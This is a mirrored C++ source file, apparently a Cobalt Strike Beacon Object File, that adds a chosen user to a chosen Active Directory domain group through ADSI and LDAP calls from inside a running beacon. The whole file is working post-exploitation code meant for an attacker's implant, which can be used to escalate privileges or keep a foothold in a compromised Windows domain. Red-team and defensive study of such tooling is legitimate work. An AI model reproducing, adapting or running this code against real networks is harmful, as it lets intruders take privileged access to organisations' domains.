mirror of
https://github.com/Yaxser/CobaltStrike-BOF
synced 2026-06-08 12:59:00 +00:00
158 lines
4.7 KiB
C++
158 lines
4.7 KiB
C++
#include "AddUserToDomainGroup.h"
|
|
#include "beacon.h"
|
|
|
|
#pragma comment(lib, "netapi32.lib")
|
|
#pragma comment(lib, "ADSIid.lib")
|
|
#pragma comment(lib, "Activeds.lib")
|
|
|
|
#define RETURN_IF_HR_FAILED(hr) \
|
|
if (!SUCCEEDED(hr)) \
|
|
{ \
|
|
BeaconPrintf(CALLBACK_ERROR, "failed at %d lasterr: %d - hr: %X", __LINE__, KERNEL32$GetLastError(), hr); \
|
|
goto Cleanup; \
|
|
}
|
|
|
|
HRESULT NtToLdap(LPWSTR szNtDomain, LPWSTR szNtName, LPWSTR *szLdapPath)
|
|
{
|
|
IADsNameTranslate *pNto;
|
|
HRESULT hr;
|
|
|
|
IID IID_IADsNameTranslate = {0xB1B272A3, 0x3625, 0x11D1, {0xA3, 0xA4, 0x00, 0xC0, 0x4F, 0xB9, 0x50, 0xDC}};
|
|
CLSID CLSID_NameTranslate = {0x274FAE1F, 0x3626, 0x11D1, {0xA3, 0xA4, 0x00, 0xC0, 0x4F, 0xB9, 0x50, 0xDC}};
|
|
|
|
hr = OLE32$CoCreateInstance(CLSID_NameTranslate,
|
|
NULL,
|
|
CLSCTX_INPROC_SERVER,
|
|
IID_IADsNameTranslate,
|
|
(void **)&pNto);
|
|
|
|
RETURN_IF_HR_FAILED(hr);
|
|
|
|
hr = pNto->Init(ADS_NAME_INITTYPE_DOMAIN, szNtDomain);
|
|
RETURN_IF_HR_FAILED(hr);
|
|
|
|
hr = pNto->Set(ADS_NAME_TYPE_NT4, szNtName);
|
|
RETURN_IF_HR_FAILED(hr);
|
|
|
|
hr = pNto->Get(ADS_NAME_TYPE_1779, szLdapPath);
|
|
RETURN_IF_HR_FAILED(hr);
|
|
|
|
Cleanup:
|
|
if (pNto)
|
|
pNto->Release();
|
|
|
|
return hr;
|
|
}
|
|
|
|
LPWSTR GetDomainName()
|
|
{
|
|
DSROLE_PRIMARY_DOMAIN_INFO_BASIC *buffer;
|
|
DWORD dwRet;
|
|
LPWSTR szRet = NULL;
|
|
dwRet = NETAPI32$DsRoleGetPrimaryDomainInformation(NULL,
|
|
DsRolePrimaryDomainInfoBasic,
|
|
(PBYTE *)&buffer);
|
|
|
|
if (dwRet == ERROR_SUCCESS && buffer->DomainNameFlat != NULL)
|
|
{
|
|
szRet = buffer->DomainNameFlat;
|
|
}
|
|
|
|
return szRet;
|
|
}
|
|
|
|
VOID AddUserToDomainGroup(LPWSTR szInputUserName, LPWSTR szInputGroup)
|
|
{
|
|
HRESULT hr;
|
|
IADs *pUsr = NULL;
|
|
LPWSTR szUserLdapPath = NULL;
|
|
LPWSTR szGroupLdapPath = NULL;
|
|
LPWSTR szNtDomain = NULL;
|
|
WCHAR szUserName[MAX_LDAP_DN] = {0};
|
|
WCHAR szGroupName[MAX_LDAP_DN] = {0};
|
|
IADsGroup *pTargetGroup = NULL;
|
|
|
|
IID IID_IADsGroup = {0x27636B00, 0x410F, 0x11CF, {0xB1, 0xFF, 0x02, 0x60, 0x8C, 0x9E, 0x75, 0x53}};
|
|
|
|
hr = OLE32$CoInitialize();
|
|
RETURN_IF_HR_FAILED(hr);
|
|
|
|
szNtDomain = GetDomainName();
|
|
if (!szNtDomain)
|
|
{
|
|
BeaconPrintf(CALLBACK_ERROR, "GetDomainName");
|
|
goto Cleanup;
|
|
}
|
|
|
|
if (MSVCRT$swprintf_s(szUserName, MAX_LDAP_DN, L"%s\\%s", szNtDomain, szInputUserName) == -1)
|
|
{
|
|
BeaconPrintf(CALLBACK_ERROR, "swprintf_s username");
|
|
goto Cleanup;
|
|
}
|
|
|
|
if (MSVCRT$swprintf_s(szGroupName, MAX_LDAP_DN, L"%s\\%s", szNtDomain, szInputGroup) == -1)
|
|
{
|
|
BeaconPrintf(CALLBACK_ERROR, "swprintf_s group");
|
|
goto Cleanup;
|
|
}
|
|
|
|
hr = NtToLdap(szNtDomain, szUserName, &szUserLdapPath);
|
|
RETURN_IF_HR_FAILED(hr);
|
|
|
|
hr = NtToLdap(szNtDomain, szGroupName, &szGroupLdapPath);
|
|
RETURN_IF_HR_FAILED(hr);
|
|
|
|
|
|
MSVCRT$memset(szGroupName, 0, MAX_LDAP_DN);
|
|
if (MSVCRT$swprintf_s(szGroupName, MAX_LDAP_DN, L"LDAP://%s", szGroupLdapPath) == -1)
|
|
{
|
|
BeaconPrintf(CALLBACK_ERROR, "swprintf_s ldap group");
|
|
goto Cleanup;
|
|
}
|
|
|
|
|
|
hr = ACTIVEDS$ADsGetObject(szGroupName, IID_IADsGroup, (void **)&pTargetGroup);
|
|
RETURN_IF_HR_FAILED(hr);
|
|
|
|
// we have to prepend LDAP:// to the ldap path
|
|
MSVCRT$memset(szUserName, 0, MAX_LDAP_DN);
|
|
if (MSVCRT$swprintf_s(szUserName, MAX_LDAP_DN, L"LDAP://%s", szUserLdapPath) == -1)
|
|
{
|
|
BeaconPrintf(CALLBACK_ERROR, "swprintf_s ldap user");
|
|
goto Cleanup;
|
|
}
|
|
|
|
hr = pTargetGroup->Add(szUserName);
|
|
RETURN_IF_HR_FAILED(hr);
|
|
|
|
BeaconPrintf(CALLBACK_OUTPUT, "[+] Successfully added the user %ws to %ws group", szInputUserName, szInputGroup);
|
|
|
|
Cleanup:
|
|
if (pTargetGroup)
|
|
pTargetGroup->Release();
|
|
|
|
if (szUserLdapPath)
|
|
OLEAUT32$SysFreeString(szUserLdapPath);
|
|
|
|
OLE32$CoUninitialize();
|
|
}
|
|
|
|
VOID go(IN PCHAR Args, IN ULONG Length)
|
|
{
|
|
datap parser;
|
|
LPWSTR szInputUserName = NULL,
|
|
szInputGroup = NULL;
|
|
|
|
BeaconDataParse(&parser, Args, Length);
|
|
|
|
szInputUserName = (WCHAR *)BeaconDataExtract(&parser, NULL);
|
|
szInputGroup = (WCHAR *)BeaconDataExtract(&parser, NULL);
|
|
|
|
if (!szInputUserName || !szInputGroup)
|
|
{
|
|
BeaconPrintf(CALLBACK_ERROR, "invalid args");
|
|
return;
|
|
}
|
|
|
|
AddUserToDomainGroup(szInputUserName, szInputGroup);
|
|
} |